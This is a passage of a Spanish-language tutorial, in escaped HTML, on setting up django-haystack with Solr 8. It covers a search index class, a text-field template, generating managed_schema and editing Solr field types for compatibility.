style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameIndex&lt;/span&gt;(indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SearchIndex, indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Indexable):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Por convención DEBE llamarse text.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(document&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, use_template&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(model_attr&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Más campos opcionales&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# El modelo a retornar&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_model&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# El queryset a indexar, puedes filtrarlo.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;index_queryset&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, using&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_model()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Te explico la estructura de la clase&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;text&lt;/strong&gt;, el campo más importante, usado para generar el índice. En esta clase debe existir al menos una propiedad con el parámetro document=True.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;created&lt;/strong&gt;, un campo opcional que se corresponde con una propiedad llamada &lt;em&gt;created&lt;/em&gt; de nuestro modelo (model_attr=&amp;lsquo;created&amp;rsquo;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;get_model&lt;/strong&gt;, el modelo a retornar.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;index_queryset&lt;/strong&gt;, el queryset a indexar, puedes personalizarlo con filtros, particionarlo o como te plazca.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;usar-otro-nombre-en-lugar-de-text&#34;&gt;Usar otro nombre en lugar de text&lt;/h4&gt;&#xA;&lt;p&gt;El nombre text es una convención usada por haystack, para utilizar otro nombre de campo que no sea text creamos la variable &lt;em&gt;HAYSTACK_DOCUMENT_FIELD&lt;/em&gt; en &lt;em&gt;settings.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_DOCUMENT_FIELD &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;otro_nombre&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;creando-una-plantilla-para-el-campo-text&#34;&gt;Creando una plantilla para el campo text&lt;/h3&gt;&#xA;&lt;p&gt;Tras crear nuestra clase plantilla para el índice necesitaremos decirle lo que contendrá el campo &lt;em&gt;text&lt;/em&gt;, lo haremos mediante una plantilla de Django.&lt;/p&gt;&#xA;&lt;p&gt;Asegúrate de tener configurada tu variable &lt;em&gt;TEMPLATES&lt;/em&gt; en &lt;em&gt;settings.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;TEMPLATES&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.template.backends.django.DjangoTemplates&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DIRS&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;directorio_de_templates&amp;gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Haystack detectará de manera automática un archivo dentro del directorio &lt;em&gt;templates&lt;/em&gt; que usamos en Django, con la siguiente ruta y lo usará como base.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;directorio_de_templates&amp;gt;/search/indexes/&amp;lt;nombre_de_app&amp;gt;/&amp;lt;nombre_del_modelo&amp;gt;_text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este archivo lo llenaremos con la misma sintaxis que una plantilla normal de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-django&#34; data-lang=&#34;django&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{{&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;object.name&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;}}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;generando-un-managed_schema&#34;&gt;Generando un managed_schema&lt;/h3&gt;&#xA;&lt;p&gt;Tras crear la plantilla procederemos a generar el archivo &lt;em&gt;managed_schema&lt;/em&gt;, necesario para crear el índice, usando el comando &lt;em&gt;build_solr_schema&lt;/em&gt; que nos proporciona &lt;em&gt;django-haystack&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 manage.py build_solr_schema &amp;gt; managed_schema&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como redirijo la salida del comando a un archivo llamado &lt;em&gt;managed_schema&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Este archivo es el que reemplazaremos en nuestra configuración de solr.&lt;/p&gt;&#xA;&lt;p&gt;Primeramente respaldamos la configuración.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mv &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;directorio_de_la_instancia&amp;gt;/conf &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;directorio_de_la_instancia&amp;gt;/conf/_managed_schema.old&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora ya es seguro mover la configuración.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mv managed_schema &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;directorio_de_la_instancia&amp;gt;/conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;solr-version-8x-y-django-haystack-ajustes&#34;&gt;Solr version +8.x y Django-haystack ajustes&lt;/h4&gt;&#xA;&lt;p&gt;Como estamos usando la versión más nueva de solr django-haystack (3.2.1) solo soporta hasta la versión 6.x de solr, necesitamos realizar ciertas modificaciones al código del archivo &lt;em&gt;managed_schema&lt;/em&gt; que acabamos de copiar a la configuración de solr. Ya sabes, &amp;ldquo;incompatibilidades&amp;rdquo;. Si estás usando otras versiones más nuevas de haystack probablemente ya no tengas que realizar esto.&lt;/p&gt;&#xA;&lt;p&gt;Localiza la linea:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;directorio_de_la_instancia&amp;gt;/conf/managed_schema --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;field&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;django_ct&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;string&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;indexed=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;stored=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;false&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Reemplazala con su versión de type=&amp;ldquo;text_general&amp;rdquo;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- &amp;lt;field name=&amp;#34;django_ct&amp;#34; type=&amp;#34;string&amp;#34; indexed=&amp;#34;true&amp;#34; stored=&amp;#34;true&amp;#34; multiValued=&amp;#34;false&amp;#34;/&amp;gt; --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;field&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;django_ct&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text_general&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;indexed=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;stored=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;false&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto prevendrá un error en el que el resultado de la búsqueda se trata como una lista en lugar de como texto.&lt;/p&gt;&#xA;&lt;p&gt;Otro cambio, antes del cierre de la última etiqueta schema agregamos el siguiente contenido&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Texto insertado manualmente --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Lines para el manejo de flotantes, long points, date points, etc. --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdate&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.DatePointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdates&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.DatePointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdouble&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.DoublePointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdoubles&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.DoublePointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pfloat&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.FloatPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pfloats&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.FloatPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pint&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.IntPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pints&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.IntPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;plong&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.LongPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;plongs&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.LongPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Texto insertado manualmente --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo anterior prevendrá errores relacionados con la falta de los campos pdate, pdates, plongs y otros.&lt;/p&gt;&#xA;&lt;p&gt;El último cambio, mueve el archivo &lt;em&gt;currency.xml&lt;/em&gt; en los ejemplos de solr a nuestra carpeta de configuración.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mv &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;solr-x.y.z&amp;gt;&lt;/span&gt;/example/example-DIH/solr/solr/conf/currency.xml &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;solr-x.y.z&amp;gt;&lt;/span&gt;/server/solr/&lt;span 